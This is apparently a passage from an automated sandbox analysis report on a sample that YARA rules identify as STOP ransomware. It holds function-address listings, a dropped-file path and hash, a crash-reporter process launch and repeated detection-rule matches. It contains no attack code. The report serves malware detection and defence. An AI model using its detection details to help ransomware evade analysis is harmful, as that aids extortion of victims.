Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CA026	9_2_022CA026
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022DF030	9_2_022DF030
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CB000	9_2_022CB000
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CB0B0	9_2_022CB0B0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C70E0	9_2_022C70E0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C30F0	9_2_022C30F0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022D00D0	9_2_022D00D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C9120	9_2_022C9120
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_0230E141	9_2_0230E141
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022ED1A4	9_2_022ED1A4
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_0230B69F	9_2_0230B69F
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CA699	9_2_022CA699
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CE6E0	9_2_022CE6E0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CC760	9_2_022CC760
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CA79A	9_2_022CA79A
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022ED7F1	9_2_022ED7F1
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C3520	9_2_022C3520
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C7520	9_2_022C7520
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CCA10	9_2_022CCA10
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C7A80	9_2_022C7A80
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022D0B00	9_2_022D0B00
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C2B60	9_2_022C2B60
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CDBE0	9_2_022CDBE0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C7880	9_2_022C7880
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022E18D0	9_2_022E18D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022DA930	9_2_022DA930
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022CA916	9_2_022CA916
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022EE9A3	9_2_022EE9A3
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022EF9B0	9_2_022EF9B0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C59F7	9_2_022C59F7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C89D0	9_2_022C89D0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C8E60	9_2_022C8E60
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022F4E9F	9_2_022F4E9F
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_02302D1E	9_2_02302D1E
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C5DE7	9_2_022C5DE7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C5DF7	9_2_022C5DF7
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02287220	10_2_02287220
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_023022C0	10_2_023022C0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022CE37C	10_2_022CE37C
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02287393	10_2_02287393
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228A026	10_2_0228A026
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0229F030	10_2_0229F030
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228B000	10_2_0228B000
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228B0B0	10_2_0228B0B0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022870E0	10_2_022870E0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022830F0	10_2_022830F0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022900D0	10_2_022900D0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02289120	10_2_02289120
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022CE141	10_2_022CE141
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022AD1A4	10_2_022AD1A4
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228A699	10_2_0228A699
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022CB69F	10_2_022CB69F
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228E6E0	10_2_0228E6E0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228C760	10_2_0228C760
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228A79A	10_2_0228A79A
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022AD7F1	10_2_022AD7F1
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02283520	10_2_02283520
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02287520	10_2_02287520
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228CA10	10_2_0228CA10
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02287A80	10_2_02287A80
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02290B00	10_2_02290B00
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02282B60	10_2_02282B60
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228DBE0	10_2_0228DBE0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02287880	10_2_02287880
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022A18D0	10_2_022A18D0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0229A930	10_2_0229A930
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_0228A916	10_2_0228A916
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022AE9A3	10_2_022AE9A3
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022AF9B0	10_2_022AF9B0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022859F7	10_2_022859F7
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022889D0	10_2_022889D0
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02288E60	10_2_02288E60
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022B4E9F	10_2_022B4E9F
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022C2D1E	10_2_022C2D1E
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02285DE7	10_2_02285DE7
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02285DF7	10_2_02285DF7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\OmbNjE.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 022A8EC0 appears 57 times
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 022B0160 appears 50 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 00428C81 appears 42 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 02330160 appears 50 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 02328EC0 appears 57 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 004547A0 appears 75 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 022E8EC0 appears 57 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 022F0160 appears 50 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 0042F7C0 appears 99 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 00428520 appears 77 times
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: String function: 00454E50 appears 42 times

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3664 -s 1700

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
